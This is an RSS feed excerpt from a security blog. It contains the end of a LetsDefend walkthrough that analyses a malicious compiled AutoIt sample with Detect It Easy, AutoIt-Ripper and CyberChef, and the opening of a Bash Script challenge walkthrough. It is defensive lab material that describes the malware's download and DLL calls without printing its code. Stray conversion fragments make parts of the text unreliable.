width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Main Detect It Easy Window&lt;/p&gt;&#xA;&lt;p&gt;But let&amp;rsquo;s not get too far ahead of ourselves just yet. To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we first need to collect the &lt;strong&gt;MD5 hash&lt;/strong&gt; of the &lt;strong&gt;sample&lt;/strong&gt; file. We can find this in &lt;strong&gt;DIE&lt;/strong&gt; by pressing &lt;strong&gt;File Info&lt;/strong&gt;, then selecting &lt;strong&gt;Hash&lt;/strong&gt; under the &lt;strong&gt;Method&lt;/strong&gt; drop-down menu.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/d4a06d03b0f77025681f71005bfa2d4a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;MD5&lt;/strong&gt; value is all we&amp;rsquo;ll need to answer &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/e0723fa7fd8a83c85f0267ed4a10f077_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-according-to-the-detect-it-easy-die-tool-what-is-the-entropy-of-the-samplefile&#34;&gt;Question 2: According to the Detect It Easy (DIE) tool, what is the entropy of the sample file?&#xA;&lt;/h3&gt;&lt;p&gt;We can find the answer to &lt;strong&gt;Question 2&lt;/strong&gt; with a simple click of the &lt;strong&gt;Method&lt;/strong&gt; drop-down menu again and selecting &lt;strong&gt;Entropy:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;585&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/e701e979950975473db0faeaa2bd3b52_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In malware analysis, &lt;strong&gt;entropy&lt;/strong&gt; measures the randomness within data, with higher values indicating potential obfuscation techniques like encryption or compression, often used by malware to evade detection. For example, the value of the &lt;strong&gt;sample&lt;/strong&gt; we&amp;rsquo;re analyzing is on the higher side which raises suspicion.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2285px&#34; data-flex-grow=&#34;952&#34; height=&#34;84&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/0a0aae3328c3ecf14b24bf32d454ab80_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-according-to-the-detect-it-easydie-tool-what-is-the-virtual-address-of-the---&#34;&gt;Question 3: According to the Detect It Easy(DIE) tool, what is the virtual address of the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;.text&amp;quot;&#xA; section?&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, navigate back to the main &lt;strong&gt;Detect It Easy&lt;/strong&gt; window and click the &lt;strong&gt;€˜&amp;gt;&amp;rsquo;&lt;/strong&gt; to the right of the **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Sections&amp;quot;&#xA;** area**.** This will open up the &lt;strong&gt;PE&lt;/strong&gt; window for a deeper analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;585&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/4c363db833562419452fa1b7ee754245_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the window is open, you&amp;rsquo;ll see a list of sections including the one we are looking for, named &lt;strong&gt;.text.&lt;/strong&gt; The &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**VirtualAddress&amp;quot;&#xA;** value is what we&amp;rsquo;re after.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/991cfe54927dce1633ace58b7aa5f372_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice that the question specifies the answer format as &lt;code&gt;0x0000&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt; This doesn&amp;rsquo;t match what we are seeing in &lt;strong&gt;DIE&lt;/strong&gt;. No problem! The question is looking for the &lt;strong&gt;hexadecimal notation,&lt;/strong&gt; so we just need to perform a simple conversion. Strip off the leading zeroes used for padding (it doesn&amp;rsquo;t change the value) and then add the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;0x&lt;/code&gt;,&amp;quot;&#xA;prefix to indicate that the number is in the hex format. For example, &lt;code&gt;00001000&lt;/code&gt; becomes &lt;code&gt;0x1000&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/4c8d910903524303ae47f0ee5ea78f6b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-according-to-the-detect-easy-tool-what-is-the---&#34;&gt;Question 4: According to the Detect Easy tool, what is the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;time date stamp&amp;quot;&#xA;?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question 4&lt;/strong&gt; is an easy one. Navigate back to the main &lt;strong&gt;Detect It Easy&lt;/strong&gt; window and we&amp;rsquo;ll find the information readily available.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/f6cba98e23a609ea60660947115b3ab0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2666px&#34; data-flex-grow=&#34;1111&#34; height=&#34;72&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/8d16481e249e2366b5134d133cb6edea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-according-to-the-detect-it-easy-die-tool-what-is-the-entry-point-address-of-the-executable&#34;&gt;Question 5: According to the Detect It Easy (DIE) tool, what is the entry point address of the executable?&#xA;&lt;/h3&gt;&lt;p&gt;Still working within the main &lt;strong&gt;Detect it Easy&lt;/strong&gt; window, look for the &lt;strong&gt;Entry point&lt;/strong&gt; field. Follow the same process that we used in &lt;strong&gt;Question 3&lt;/strong&gt; to convert the address to the requested format.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/218365cae62881e010fc467cc3d05a0f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/aa3c12f1c8adfa2faaec001b68dd7d85_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-domain-used-by-the-malicious-embeddedcode&#34;&gt;Question 6: What is the domain used by the malicious embedded code?&#xA;&lt;/h3&gt;&lt;p&gt;To tackle &lt;strong&gt;Question 6&lt;/strong&gt;, we&amp;rsquo;re going to need to get creative. Remember back in &lt;strong&gt;Question 1&lt;/strong&gt; that we learned that &lt;strong&gt;AutoIt&lt;/strong&gt; scripts can be compiled as executables? What if we could extract the &lt;strong&gt;AutoIt&lt;/strong&gt; scripts out of the binary for analysis?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/c66229e8d006cc0721c07270911081a4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Luckily, there is a tool to do exactly this, and it&amp;rsquo;s already installed in the &lt;strong&gt;LetsDefend&lt;/strong&gt; analysis environment: &lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;AutoIt-Ripper&lt;/strong&gt;.&lt;/a&gt; According to the project&amp;rsquo;s &lt;strong&gt;GitHub,&lt;/strong&gt; the utility is **&amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;**a short python script that allows for extraction of €˜compiled&amp;rsquo; AutoIt scripts from PE executables,&amp;quot;&#xA;so we can dissect the resulting &lt;strong&gt;.au3&lt;/strong&gt; script file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  title=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;GitHub - nazywam/AutoIt-Ripper: Extract AutoIt scripts embedded in PE binaries&lt;/strong&gt;&#xA;_Extract AutoIt scripts embedded in PE binaries. Contribute to nazywam/AutoIt-Ripper development by creating an account&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Referencing the &lt;strong&gt;AutoIt-Ripper&lt;/strong&gt; documentation, we can run the tool from &lt;strong&gt;PowerShell&lt;/strong&gt; with the following syntax:&lt;/p&gt;&#xA;&lt;p&gt;autoit-ripper sample.exe out_directory&lt;/p&gt;&#xA;&lt;p&gt;For example, here is the command I used to extract the script from the sample binary and output to a folder called &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;ripped&amp;quot;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;autoit-ripper C:\Users\LetsDefend\Desktop\ChallengeFile\sample C:\Users\LetsDefend\Desktop\ChallengeFile\ripped&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/618f2e0721aa6351c1b90bd7d8cff778_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, we&amp;rsquo;ll take the output file, &lt;code&gt;script.au3&lt;/code&gt; , and open in a text editor like &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Notepad++&lt;/strong&gt;&lt;/a&gt; to view the contents. It may look a little overwhelming at first, but let&amp;rsquo;s scroll through the script, performing a cursory glance for anything that looks like a URL.&lt;/p&gt;&#xA;&lt;p&gt;Before long, we&amp;rsquo;ll stumble on &lt;strong&gt;line 39&lt;/strong&gt; where we see a reference to the &lt;code&gt;InetRead&lt;/code&gt; function used to download files from the internet, pointing to a URL containing the domain we&amp;rsquo;re searching for.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/2276c159691d692f615f74706b6804b2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/71b8cc3b6327d797ec629b704bd20307_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-file-path-encoded-in-hexadecimal-in-the-malicious-code&#34;&gt;Question 7: What is the file path encoded in hexadecimal in the malicious code?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing to search the script, we&amp;rsquo;re looking for a hexadecimal number. Remember, we can identify a hexadecimal number by searching for the prefix &lt;code&gt;0x&lt;/code&gt;, the same method we used to format the answers in &lt;strong&gt;Questions 3 &amp;amp; 5.&lt;/strong&gt; We&amp;rsquo;ll find the answer on &lt;strong&gt;line 46&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/c1ac57dd62cbaf06132f134ff063a07e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To figure out the file path, we need to make it readable. We can do this easily by using a tool like &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; Simply add the &lt;strong&gt;From Hex&lt;/strong&gt; operation to the &lt;strong&gt;Recipe&lt;/strong&gt; and paste the value we discovered in the script. This will reveal the file path needed to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;318px&#34; data-flex-grow=&#34;132&#34; height=&#34;603&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/3c6d81bd67d938ac73e196178d9b298b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;From Hex Operation in CyberChef.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/8d8e05871bca659af2811ad781a15e02_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-name-of-the-dll-called-by-the-malicious-code&#34;&gt;Question 8: What is the name of the DLL called by the malicious code?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question! Within the script, we see several references to &lt;strong&gt;DLL&lt;/strong&gt;s, but the &lt;code&gt;DllCall&lt;/code&gt; function seems to be the most relevant. On &lt;strong&gt;line 53,&lt;/strong&gt; we can see this function being used to call &lt;code&gt;user32.dll&lt;/code&gt; .&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/0fadf1dae3064738b0eaf8751ba92c76_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2370px&#34; data-flex-grow=&#34;987&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-malicious-autoit-challenge-walkthrough/5aecb283560bdf7f4589e30c8cec761d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! By using &lt;strong&gt;Detect It Easy,&lt;/strong&gt; we were able to analyze the sample file and determine that it is a compiled &lt;strong&gt;AutoIt&lt;/strong&gt; script. Then, using &lt;strong&gt;AutoIt-Ripper&lt;/strong&gt;, we extracted the script to learn more about its capabilities. With our objectives completed, let&amp;rsquo;s wrap this investigation!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for the interesting lab scenario. I selected this one because I was not familiar with &lt;strong&gt;AutoIt&lt;/strong&gt; and its capabilities, but I have seen it mentioned as a potential attack vector recently. It was really fascinating to see how these scripts can be compiled as executables and extremely valuable to learn that the contents can be extracted for analysis. This will be a handy tool for the kit if I encounter this again in the real world.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;AutoIT:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.autoitscript.com/site/autoit/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.autoitscript.com/site/autoit/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Detect-It-Easy:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/horsicq/Detect-It-Easy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Command and Scripting Interpreter: AutoHotKey &amp;amp; AutoIT (T1059.010):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1059/010/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1059/010/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;AutoIT Ripper:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/nazywam/AutoIt-Ripper&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/nazywam/AutoIt-Ripper&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Bash Script Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/</link>
            <pubDate>Mon, 02 Dec 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Bash Script Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-bash-script-challenge-walkthrough&#34;&gt;LetsDefend— Bash Script Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;bash-script-analysis-challenge-using-vim-and-apache-hadoop-documentation&#34;&gt;Bash Script Analysis Challenge Using Vim and Apache Hadoop Documentation&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-bash-script-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/bash-script&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Bash Script&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, our objective is to analyze a suspicious &lt;strong&gt;bash script&lt;/strong&gt; linked to a &lt;strong&gt;Hadoop YARN&lt;/strong&gt; cluster provided by the fictional &lt;strong&gt;SOC Team&lt;/strong&gt; and determine if it&amp;rsquo;s malicious. For this challenge, we will be using a simple text editor to analyze the script, searching for environment variables set by the script, and comparing them to online documentation. Then, we will analyze a suspicious download command to understand the nature of the attack.&lt;/p&gt;&#xA;&lt;p&gt;This challenge is beginner-friendly and straightforward, but I had to do a lot of external research to understand &lt;strong&gt;Hadoop YARN&lt;/strong&gt; and the types of threats these services are exposed to. I&amp;rsquo;ll share this information along the way for some added value. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;! Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/bash-script&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/log-analysis-with-sysmon&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The SOC team uncovered a suspicious bash script linked to a critical Hadoop YARN cluster that handled large-scale data processing. This script was flagged for further investigation by L1 SOC analysts, who suspected it could be a potential breach. You have been tasked to analyze the bash script to uncover its intent.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-path-set-to-the-standard-output-logfile&#34;&gt;Question 1: What is the path set to the standard output log file?&#xA;&lt;/h3&gt;&lt;p&gt;From the scenario, we understand that that we&amp;rsquo;ll be analyzing a &lt;em&gt;bash script&lt;/em&gt; linked to a &lt;strong&gt;Hadoop YARN&lt;/strong&gt; cluster. &lt;em&gt;Hadoop&lt;/em&gt;? &lt;em&gt;YARN&lt;/em&gt;? These sound like foreign languages to me! To help get us oriented and better interpret the script, let&amp;rsquo;s get some quick context about these terms in case they&amp;rsquo;re also unfamiliar to you.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Hadoop:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://hadoop.apache.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;The Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Hadoop YARN:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop%27s%20core,executed%20on%20different%20cluster%20nodes.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Apache Hadoop YARN is the resource management and job scheduling technology in the open source Hadoop distributed processing framework. One of Apache Hadoop&amp;rsquo;s core 